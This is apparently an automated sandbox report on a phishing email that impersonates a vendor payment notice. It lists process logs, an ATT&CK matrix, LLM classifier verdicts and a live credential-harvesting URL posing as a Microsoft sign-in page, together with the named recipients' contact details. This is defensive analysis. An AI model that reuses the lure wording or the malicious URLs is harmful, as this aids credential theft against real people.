
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email)

Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/13FJYQDB/Payment%20Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html

LLM: Page contains button: 'Submit' Source: '1.0.pages.csv'

AI detected potential phishing Email

Source: Email

JoeBoxAI: Detected potential phishing email: The email contains suspicious elements such as an unusual subject line with random characters and a non-standard file naming convention

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File Volume queried: C:\Windows\SysWOW64 FullSizeInformation

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	2 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	13 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	1 Extra Window Memory Injection	1 DLL Side-Loading	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
sharkmaritimecompany.com	192.185.155.114	true	false	unknown
code.jquery.com	151.101.130.137	true	false	unknown
plus.l.google.com	172.217.18.14	true	false	unknown
play.google.com	142.250.186.174	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	unknown
challenges.cloudflare.com	104.18.94.41	true	false	unknown
www.google.com	142.250.186.36	true	false	unknown
charityshopacademymop.com.de	188.114.97.3	true	true	unknown
techgroovelifeone.ru	172.67.202.22	true	true	unknown
www.sharkmaritimecompany.com	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/13FJYQDB/Payment%20Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html	true		unknown
https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.18.14	plus.l.google.com	United States	15169	GOOGLEUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
20.189.173.1	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
192.185.155.114	sharkmaritimecompany.com	United States	46606	UNIFIEDLAYER-AS-1US	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.181.238	unknown	United States	15169	GOOGLEUS	false
142.250.185.163	unknown	United States	15169	GOOGLEUS	false
2.19.126.160	unknown	European Union	16625	AKAMAI-ASUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
142.250.184.206	unknown	United States	15169	GOOGLEUS	false
52.113.194.132	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.36	www.google.com	United States	15169	GOOGLEUS	false
108.177.15.84	unknown	United States	15169	GOOGLEUS	false
172.217.18.3	unknown	United States	15169	GOOGLEUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
52.109.32.46	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.109.28.48	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.114.97.3	charityshopacademymop.com.de	European Union	13335	CLOUDFLARENETUS	true
216.58.212.163	unknown	United States	15169	GOOGLEUS	false
172.67.202.22	techgroovelifeone.ru	United States	13335	CLOUDFLARENETUS	true
142.250.185.74	unknown	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.16
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538903
Start date and time:	2024-10-22 00:11:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	c20346ef.msg renamed because original name is a hash value
Original Sample Name:	FW Pay App Vendor DisbursementNote-BATCHEFT-ACHPAYOUT Attn96c16e39772bc7ca3bf6045c7420c1f3c20346ef.msg
Detection:	MAL
Classification:	mal68.phis.winMSG@25/41@30/178
Cookbook Comments:	Found application associated with file extension: .msg

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 52.113.194.132, 184.28.90.27, 40.69.42.241, 2.19.126.160, 2.19.126.151
Excluded domains from analysis (whitelisted): ecs.office.com, omex.cdn.office.net, fs.microsoft.com, slscr.update.microsoft.com, s-0005-office.config.skype.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, s-0005.s-msedge.net, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, ecs.office.trafficmanager.net, prod.fs.microsoft.com.akadns.net, omex.cdn.office.net.akamaized.net, a1864.dscd.akamai.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtSetValueKey calls found.
VT rate limit hit for: c20346ef.msg

LLM Input / Output

Input	Output
URL: Model: claude-3-5-sonnet-20240620	{ "explanation": [ "The email contains suspicious elements such as an unusual subject line with random characters and a non-standard file naming convention", "The sender's email address (aydogan.yavuz@belginoil.com) does not match the company mentioned in the forwarded message (Murexltd)", "The email claims to have an attachment but doesn't provide any specific details about it, which is a common phishing tactic" ], "phishing": true, "confidence": 9 }
Is this email content a phishing attempt? Please respond only in valid JSON format: Email content converted to JSON: { "date": "Mon, 21 Oct 2024 22:36:53 +0200", "subject": "FW: Pay App Vendor DisbursementNote-BATCH/EFT-ACHPAYOUT Attn:96c16e39772bc7ca3bf6045c7420c1f3c20346ef", "communications": [ "Good afternoon,\n\nThis email looked suspicious to me, and I dont think we are currently working with Belgin.\n\n \n\n \n\n \n\nRussell Eden \| Director of Cash and Credit\n\n\n\n7160 North Dallas Parkway, Suite 300\n\nPlano, TX 75024\n\nO: 972-702-0018 \| C: 817-692-4982\n\nwww.murexltd.com <http://www.murexltd.com/> \n\n \n\nWARNING: Wire fraud, email hacking and phishing attacks are on the rise! Murex WILL NOT change its bank instructions for payment receipts. NEVER respond to any emails that claim to contain revised wire or ACH transfer instructions, even if they appear to be sent by our company. ALWAYS check for valid domain names on emails @MUREXLTD.COM. Should you receive an email, an invoice containing changed payment instructions, or even a phone call requesting a change in payment instructions, call your Murex representative at an independently verified phone number.\n\n \n\nComputer viruses can be transmitted via email. Recipient should check this, and any email and all attachments for the presence of viruses. Sender and sender company accept no liability for any damage caused by any virus transmitted by this email.\n\n \n\n", "From: POS_Remittance notification.96c16e39772bc7ca3bf6045c7420c1f3c20346ef.aydogan.yavuz@belginoil.com <aydogan.yavuz@belginoil.com> \nSent: Monday, October 21, 2024 2:53 PM\nTo: Russell W. Eden <reden@murexltd.com>\nSubject: Pay App Vendor DisbursementNote-BATCH/EFT-ACHPAYOUT Attn:96c16e39772bc7ca3bf6045c7420c1f3c20346ef\n\n \n\n \n\n==============================================================================\n \n\nFind Attached\n\n\n==============================================================================\n\nref:!003712 D6g05ioYn.!7040912885QQ0I6wOj\n \n\nTo: Murexltd Attn: Reden\n\n \n\nAL:\n\n==============================================================================\n\nThank you\n\n==============================================================================\n\nThis message was generated by an automated system. Please do not reply to this email.\n\n" ], "from": "\"Russell W. Eden\" <reden@murexltd.com>", "to": "\"support@corerecon.com\" <support@corerecon.com>" }
URL: Email Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "VIEW SHARED FILE", "prominent_button_name": "unknown", "text_input_field_labels": [ "To", "Attn", "AL" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false }

URL: Email Model: claude-3-haiku-20240307	```json { "brands": [ "MUREX" ] }
	```json { "brands": [ "MUREX" ] }
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/13FJYQDB/Payment%20Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Connecting MurexItd Secured File in 5 seconds, Please wait...", "prominent_button_name": "Submit", "text_input_field_labels": [ "Your answer" ], "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": true, "has_visible_qrcode": false }

URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/13FJYQDB/Payment%20Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Connecting MurexItd Secured File in 5 seconds, Please wait...", "prominent_button_name": "Submit", "text_input_field_labels": [ "Your answer" ], "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": true, "has_visible_qrcode": false }

URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/13FJYQDB/Payment%20Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html Model: claude-3-haiku-20240307	```json { "brands": [ "Docusign" ] }
	```json { "brands": [ "Docusign" ] }
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/13FJYQDB/Payment%20Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html Model: claude-3-haiku-20240307	```json { "brands": [ "Docusign" ] }
	```json { "brands": [ "Docusign" ] }
URL: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Ensuring security by verifying your browser.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t Model: claude-3-haiku-20240307	```json { "brands": [ "Cloudflare" ] }
	```json { "brands": [ "Cloudflare" ] }
URL: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Because you're accessing sensitive info, you need to verify your password.", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t Model: claude-3-haiku-20240307	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }
URL: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t Model: gpt-4o	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The domain 'charityshopacademymop.com.de' does not match the legitimate domain 'microsoft.com'.", "The URL contains unrelated words 'charityshopacademymop', which are not associated with Microsoft.", "The domain extension '.com.de' is unusual for Microsoft, which typically uses '.com'.", "Presence of a password input field on a non-legitimate domain is suspicious and indicative of phishing." ], "riskscore": 9} Google indexed: False
URL: charityshopacademymop.com.de Brands: Microsoft Input Fields: Password
URL: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Your account or password is incorrect. If you can't re member your password, reset it now.", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false }

URL: https://charityshopacademymop.com.de/85cL/#4cmVkZW5AbXVyZXhsdGQuY29t Model: claude-3-haiku-20240307	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	245980
Entropy (8bit):	4.211633654151773
Encrypted:	false
SSDEEP:
MD5:	A30CDCA4F320785A44012CEF735ECD75
SHA1:	D02B0F25C1B0B6E1BAB5FA7B469B6612BE234B88
SHA-256:	9AD67497C994880F82A19D061DFD7759C198B294B585B36A48C2C3DF703F0CA2
SHA-512:	72304D936D70D5C7DF02955C06AC529939071CC9076C7B1C770EEFEC12D007C14412CDA1AD6C2D2654FC7BEBE439B770D2C2CA1F983F89C140C38E1341BC7F25
Malicious:	false
Reputation:	unknown
Preview:	TH02...... ..TNK.$......SM01........@!.9.$..........IPM.TaskRequest.Decline........h...............h............H..h..W............h...........H..h\tor ...AppD...h....0.....W....h..............h........_`.k...h...H...I.+w...h....P...8..k...0....\...............l.........2h...............k..............!h.............. h6.O..... .W...#h....8.........$h.......@....."h..H.......H...'h..x...........1h.............0h..........k../h...........kH..h0.. .....W...-h ...0...L.W...+h...4.....W.....S.{00061055- ..............FS..............FIPM.TaskRequest.Decline.Form....Standard..W.Task Decline....IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1111110000000000...hMicrosoft..kThis form is used to decline a task request........kkf...... ..........&...........(.......(... ...@...............................................................................................................................D@..............D@x.............DG...p..........DH..www.wwp.....

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with very long lines (1869), with no line terminators
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	5.084466267348269
Encrypted:	false
SSDEEP:
MD5:	FB90898208D03A53658A7FEF5B0BD80E
SHA1:	AB630E6C97AE27C3CDAE98489A43214F1556FE3C
SHA-256:	FD43C29F07B510D05494732A22714923BB519F00887C18E1D58C8873C7CDF8A2
SHA-512:	6F8B1AFE2A49BC676C4E68F2215601D6640F1EF02DF3FF0843A7CC51EF318ED0535E65155753D05DDFF48FC5D6340354F08495B071168577897186371EC03CCC
Malicious:	false
Reputation:	unknown
